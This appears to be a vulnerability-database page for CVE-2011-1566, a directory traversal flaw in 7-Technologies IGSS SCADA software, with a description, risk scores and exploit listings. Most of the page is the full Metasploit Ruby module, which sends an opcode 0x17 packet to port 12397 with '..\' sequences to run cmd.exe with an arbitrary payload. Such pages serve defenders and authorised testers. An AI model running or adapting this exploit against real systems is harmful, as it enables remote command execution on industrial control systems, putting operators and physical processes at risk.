CVE-2011-1566

critical
Published 2011-04-05 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Directory traversal vulnerability in dc.exe 9.00.00.11059 and earlier in 7-Technologies Interactive Graphical SCADA System (IGSS) allows remote attackers to execute arbitrary programs via ..\ (dot dot backslash) sequences in opcodes (1) 0xa and (2) 0x17 to TCP port 12397.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-17024 remote windows
Luigi Auriemma ยท 2011-03-22

7-Technologies IGSS 9.00.00.11059 - Multiple Vulnerabilities

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EDB-29129 remote windows verified ruby ยท 2 KB
Metasploit ยท 2013-10-22

Interactive Graphical SCADA System - Remote Command Injection (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Interactive Graphical SCADA System Remote Command Injection',
      'Description'    => %q{
          This module abuses a directory traversal flaw in Interactive
        Graphical SCADA System v9.00. In conjunction with the traversal
        flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
        may be able to execute arbitrary system commands.
      },
      'Author'         =>
        [
          'Luigi Auriemma',
          'MC'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-1566'],
          [ 'OSVDB', '72349'],
          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 153,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Windows', {} ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 21 2011'))

    register_options(
      [
        Opt::RPORT(12397)
      ], self.class)
  end

  def exploit

    print_status("Sending exploit packet...")

    connect

    packet =  [0x00000100].pack('V') + [0x00000000].pack('V')
    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V')
    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
    packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}"
    packet << "\x00" * (143) #

    sock.put(packet)
    sock.get_once(-1,0.5)
    disconnect

  end

end

Metasploit modules

7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities
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Interactive Graphical SCADA System Remote Command Injection
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Application impact

VendorProductVersionsFixed
7tigss

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

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